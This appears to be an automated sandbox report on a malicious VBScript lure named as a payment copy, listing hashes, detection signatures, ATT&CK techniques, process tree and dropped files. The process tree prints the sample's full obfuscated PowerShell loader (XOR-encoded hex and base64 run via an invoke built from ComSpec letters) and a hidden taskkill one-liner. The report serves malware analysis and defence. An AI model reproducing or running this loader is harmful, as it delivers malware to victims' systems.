dbc86ad2a8b867c09e326e4740a9ba339b35aeb46f8edc79846ff4a30330e352

Analysis

max time kernel
149s
max time network
122s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/09/2026, 15:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Payment Copy USD 32,619.vbs
Size 25KB
Sample260910-snnnya1fph
SHA256 dbc86ad2a8b867c09e326e4740a9ba339b35aeb46f8edc79846ff4a30330e352
MD5 fb2c2f42fef4672544b8b5b6bf96d5fb
SHA1 a95aa7e489d47b0ad28c277ec353a9402bd95f83
SHA512 c97d16fca823e4b78c988f9177fa58d0700c96996ed44d22b189141410a46f08fdd1bc69de3ea9155d91a22cf03d2831991fc68b6121b68d8424a6977fd2deb2
SSDEEP 768:KTH21BEQwdfDRH8QstbnOO9sE5ODvkzMLa:u21BTwd18bnF9siODvkzMm
TLSH
T1C5C23F164809BBB0D92935D5B74BB017A9D003A57BFB694A398FF5C83B367108BC1CA7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
15	3984	powershell.exe
16	3984	powershell.exe
20	3984	powershell.exe
36	3984	powershell.exe
41	3984	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3984	powershell.exe
3480	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
3948	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3348	cmd.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
5024	taskkill.exe
4376	taskkill.exe
4256	taskkill.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3984	powershell.exe
3984	powershell.exe
3480	powershell.exe
3480	powershell.exe
3984	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3984	powershell.exe
Token: SeDebugPrivilege	3480	powershell.exe
Token: SeDebugPrivilege	5024	taskkill.exe
Token: SeDebugPrivilege	4376	taskkill.exe
Token: SeDebugPrivilege	4256	taskkill.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3948 wrote to memory of 3984	3948	WScript.exe	86
PID 3984 wrote to memory of 5060	3984	powershell.exe	90
PID 5060 wrote to memory of 1980	5060	csc.exe	91
PID 3984 wrote to memory of 3480	3984	powershell.exe	99
PID 3480 wrote to memory of 3348	3480	powershell.exe	101
PID 3348 wrote to memory of 5024	3348	cmd.exe	103
PID 3348 wrote to memory of 4376	3348	cmd.exe	104
PID 3348 wrote to memory of 4256	3348	cmd.exe	105

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Payment Copy USD 32,619.vbs"
1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:3948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=77-29;$f4YdaBJpz='7MU7ZDULi';$f32duHK='fb9291fe84879088e3c28ad7b9968a98cfb8b98cc2acc4ddc4bd90e4948bf89dc0ab83bbe9c9baf393819b8fadfabac5a7a5bab9deedda828bce849c9688a4b5bc9de4848ba4bb9eb5bcace4839a9a8bedde8891eb959c8bbbf9a7a18df29dac9e95a6abd3ace982879181ebb9819bfad992da9de7c2ca9de59f9cdb8dbeb4ce8290fae3f5b5b7fc958bb0a3829a83b3bdcaacf893819182b0bdd4f297aba09a92edce828deb998d9ab6acf4898bd091809e81a6efbac5a7a38b9c93b1f49386cd82818b89a0f28bdfa0d0b5b183b7b3b49afe859c9692bacd9590e99f8d908a97e4979ac0cad4ab8ab0acd5f297d48fccd6feb5b892bdd7d8c68081b2ccccf4c7a19587b5d2b7ceabc884a5cdfbd9d585ffc79d898393abd699ffbedcd4949bea85d0cbc2a2d0d0f1e8aba5a985ddb6d4a6c59586d2a0dbc8839ba5d1b0e7b8dc9a84b7e4a8aff1889d95a4ecd385a7ea96b6b89fa0ae80cee999d889cdf1a4918cfba7dfc6d5a9ab9585d3869a9d8ffab2c8a8a483ddced0fbf7ad89b6c7b78893a9f8d6c7d5c1df9b8fe8a892ccd5c5a19584bad18591ac939cb5dfa6e4decdfb86b9cb90a6ab9fb2f7b69b8a908aaf82ccc5c3a3cc8ebbd381c8e79597c791a6cd93cdd0a8d6c992b9d3d3b1b2919799beb0eb8391aac19bb3d5b6eeb794abdbbe8d9fb7f0d0cef99aac8993b5d4d3d0efa698c788f2aaabccc7dbd79d8ffaaa95bae7bfbdcb9eb0f78dcbeea4a7c9a9a9dad5c8aac6d8c68cf0b2aaabc5dbd99da1bba5bf95abc888a5dfb6ae8a85fec39d87def0d6d09dafdbdbd4d19ae8c88df886a091d4f4d2aba5b68598b4d5a5f393cdd09ec1c883a2ab908aafc9979ab286e4a885b287a286cdb7fadac2bad9e3f5a7a7f9caabe4808bdfcb97e4979ad995889688aae98e90f3d0c6a4b2a6e593d1d89e8d9082aaf380a2a7cabbaba0fbb3a09ae9a39a8d8fadfacfa4de9f808983b1e9bac5a7b69c908b81fc949aabc4bd8b94aaf380d7b991ddcfcfeab4eaf5fb85809c92aaf289dff9d8ca9ed5f2b49cdbfcc3dcc2a8a6eacab0ff9a8b9c92e3d3828bb3a78b9da5aff48291e9cbc6b883b7b0b59ef3948192c6e7fcd4cebdddad9093ade9c7dbfcc3dfd1a5ace8898bb48ccb8492b1e49c8df8849b8d88e3b986ccafdeaa9091adf1889ef9b48f8b87ebb9b8d6e0938f8b85abe69a82e0fde49993adfe9396f29ece96cee7fcd4d3b991dad3c2a2a8cbdbfcc6d3bfceeab49cdbfcc7d3a4b6abfc898bf29da99e92a6c0ddc5d19f8f9ba7b0ee8292ff9c97d7c2a2aecec4b991d6c2c2a2aac9b8f884ba8696a6eecf';$ceV18zH1='S2Q/GStOLl9JDnROA2J0IDRZEzgkAztsOz1dWyUkAzc/R3xIL310CmB1KD1dVzQoOV10ZnVZAWxpDWE/QnBSBnFuBUl9YX5PPzBfDy82MzZOFiwrAHx+OFFbVnwvVDh0UHQLKUhjSSQmNyxJG3J4F0cpKzILCi9PDTI2KTAVWTxiUjJ4ZjEdRnk5TEZiU21dFnFjS3RKQXpIC25hFmBjXSMGIWplA3t0SXdPFnluAWo5JHgES2U7Rm4oLlBSFHdrByc1YikQRnk2S3IcChQ2RnoxX085KDFjDzgnVyBnNz4VQjMgSlB8ID4TVU9nDUBjLzZzAHA2A0diNFZ3BSF1JmZ+Ty4TTS5EETlkSC4IMmFnFzlZbDYXBSUnSyY9KDFjDzgnVyBnNzYLNX9vLTx7K2xOBS9PEHolZWtJVjd2EGB0en5TB0xxDUBVNjZdLmk5TSBgL39KDzdPE2hkNlFQTTNnXyg4KTUUSkdtQigkL28LTS9XBWBBdiAJFDdwVXkicS0TA3A3LUt4b1ZeCy91CH4+S1oLDX1YTTlQPSQbSzEpbwV4ZjEURnoyX2sxJHsNSzVhDGs5JHgIX0NUB3dlLlxSAXdkC2F2XSMGN0xGWiFWZW1vFmppDGg5JHsOSzEtD25lY3EUPXUgRXwmUHoOWiw9RSYxKzkUPXUgRTx1dWFPA31oEm1SbWoLMlN3MzIsJzAcSTgoPWIxJ2ALJWAnSyZqDRMcQjxiUS8sIDFjDzgnSSB3N3ZZGGk3B3V9L3xvBW43A2hlN2xUFy8yW2BzYXFJAC45DURSMS9sGGg1LWVhNTJSWi5mGH02KTkHQjxiUS8sID1eUTZTF21idGtVDH8oUiMxJHsPTFRlDGhlaDkRQikySwIbJHgPUzg9QidObTkbFG89Xyg4ICIxaDxiVjI5X3QcRSx2ACA+ZV1TTX03C2ByZn4bSzgrQidObTkbVm1yEyBQPSQbSyMNaC8xIDlVQjBbIWB/dnxOFkU6WEljb3R+A2tlVDtCdGtVDH8oRkJwdHpUB2tbU1I4KTkYACwgSlB8ID4TBGpoTV9mPT4VQlgoRm0iLDkYAysxTi82JzUcSkdtQigiZWtTGG56Cyg4LDkUPXUgRXlmPSQbSzgsQidObTkbWy9lVyg4KRQ2QjggQkh0dDRsEHdjB3xifGpTEGwgIV9EIDRYB2tjHnx0bHxfFjgtBGZjc20cV2RmFi9fYXRZTltQNy9sDRMxaDggQi8xIDkcQjg=';$rtOFf6XJn=0xE132-0xC0B4;$vEhBWzlM=@();foreach($c in [char[]]$f4YdaBJpz){$vEhBWzlM+=[byte]($c-bxor0xAA)};$xgeBb6yF=$vEhBWzlM;$vEhBWzlM=@();foreach($c in [char[]]$f4YdaBJpz){$vEhBWzlM+=[byte]($c-bxor0x55)};$dkHu5Bf=$vEhBWzlM;$vEhBWzlMoldR='';$i=0;for($j=0;$j-lt$f32duHK.Length;$j+=2){$vEhBWzlMoldR+=[char](([Convert]::ToInt32($f32duHK.Substring($j,2),16))-bxor$xgeBb6yF[$i++%$xgeBb6yF.Length])};$dRer8Ym=$vEhBWzlMoldR;$vEhBWzlMoldB=[Convert]::FromBase64String([regex]::Replace($ceV18zH1, '$vEhBWzlM', ''));$vEhBWzlMoldR='';$i=0;for($j=0;$j-lt$vEhBWzlMoldB.Length;$j++){$vEhBWzlMoldR+=[char]($vEhBWzlMoldB[$j]-bxor$dkHu5Bf[$i++%$dkHu5Bf.Length])};$g2f9Iq=$vEhBWzlMoldR;$fjYdTRMs=$dRer8Ym+$g2f9Iq;.($env:ComSpec[4,26,25]-join'') $fjYdTRMs
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3984
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2kxrnwcd\2kxrnwcd.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5060
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7606.tmp" "c:\Users\Admin\AppData\Local\Temp\2kxrnwcd\CSC992C200E5BBA45309FA082118C76EF11.TMP"
      4⤵
      PID:1980
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3480
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3348
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5024
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4376
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4256

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 6bf6b641ccbf346b04abb3fba6fda7afb650152f2b8ce0358fe6b497fe29147a
MD5 87cecda9ab49dc84ccec5daa2c42da8f
SHA1 7e2351d3308af40bfe9a91185326b8a67b8da8d8
SHA512 9749f2b4a83648d1dea4150d1c768c755f1959518494c636a1f7f3887b94ba17e1bc4dbea9eb4110c5e7380651e8af1ed923b83977f772dfcb9b4778d32f83dd
TLSH
T189317723F39CC921C88A117A149E9C00767183D741AECE9FABC4D614A17F998CB615A4
MD5 SHA1 SHA512 TLSH

Submit Download

2kxrnwcd.dll

Path C:\Users\Admin\AppData\Local\Temp\2kxrnwcd\2kxrnwcd.dll
Size 3KB
SHA256 fb1fc123f23252d8110de2aeddc130bbcf42418453c21d3b1de8b7e8419fd4f7
MD5 7c72d284f3095cce208671a063e59749
SHA1 9cdcc96b089e9d5d60427f192a6a435b08ade8e3
SHA512 1a8c144909537971905360b16acee27d05ae80ab81336befa7ce2176cd59d42bdf96572eb84d0c8ee3f6bd926d703a948fcdeaa5034545691925cb96da0029a4
TLSH
T18951CB0A57E8463BE4B70B317EF387173774F920AB62935D4980426CAC213646E32FB5
MD5 SHA1 SHA512 TLSH

Submit Download

RES7606.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES7606.tmp
Size 1KB
SHA256 95c62bc7adc5e77b5b5a5e22e1331d68a1135e1e143c920173aa7d3769a31f67
MD5 3ef563e2300c52f3c326fc15d1c28044
SHA1 91cdc6ce02ca97bd19e21159b21b258b34471906
SHA512 5db322d54b675476025f57be086083736f86af76447095c7bcb485cc4a27706ebcb3dc0372becb23eb2150d52b336f28045ebd1be73dbfd5c71acb8f60d99139
TLSH
T1F021C20543ED4B1FF073573169F6176FA174FD94EFA1939B894042281C51508EFA0E72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_rjmklgdz.blj.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rjmklgdz.blj.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

2kxrnwcd.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\2kxrnwcd\2kxrnwcd.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

2kxrnwcd.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\2kxrnwcd\2kxrnwcd.cmdline
Size 369B
SHA256 4fe0547cbd22a0cf51475b0b3dc2ebdacaa2ccef140d2e26a86004b73d06938e
MD5 c9160e77cec2df9619a644e88ec85e48
SHA1 5d984295161bdf46093fb0725ea4553793e08031
SHA512 271b6c98b0363fb6759b37bb9a70651b51f60f3956b38b04515397936fd3b2f007e2fbd22e0351808592da4ec939d920f5e92a3eeb6a7d404e8aea5cdedcbddf
TLSH
T12FE0C06A424BCA7D02DD100721BBE4EEF2F20B8B2B403F845240C88DD11B00127D1B51
MD5 SHA1 SHA512 TLSH

Submit Download

CSC992C200E5BBA45309FA082118C76EF11.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\2kxrnwcd\CSC992C200E5BBA45309FA082118C76EF11.TMP
Size 652B
SHA256 1e5e2f0ef411b060189563eb3c9cd5f4831e6f860af076a47a0d51f51aa54a23
MD5 26ebfb141df4473b73a397ed0721edd2
SHA1 45e76309b36d440c839a535c8df0d6e4cc96f2fc
SHA512 d37e5e03aede76aa36ca802216d91a4e02eb4e12dfab264b368585cb96d30e86aec589dddca6627aaa4aac8d56fc6f53728c3a48e2850590fb359798dfca3b94
TLSH
T187F05E0963F8520EF0F34B30BEF6436395A8BC64DE7293ED598003592C64A249962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3984-10-0x00000196FEB10000-0x00000196FEB20000-memory.dmp

Download

memory/3984-1-0x00000196FEB10000-0x00000196FEB20000-memory.dmp

Download

memory/3984-23-0x0000019699730000-0x0000019699738000-memory.dmp

Download

memory/3984-24-0x00000196FEB10000-0x00000196FEB20000-memory.dmp

Download

memory/3984-25-0x00000196FEB10000-0x00000196FEB20000-memory.dmp

Download

memory/3984-26-0x00000196FEB10000-0x00000196FEB20000-memory.dmp

Download

memory/3984-27-0x00000196997B0000-0x00000196997E4000-memory.dmp

Download

memory/3984-4-0x00000196FF010000-0x00000196FF032000-memory.dmp

Download

memory/3984-0-0x00000196FEB10000-0x00000196FEB20000-memory.dmp

Download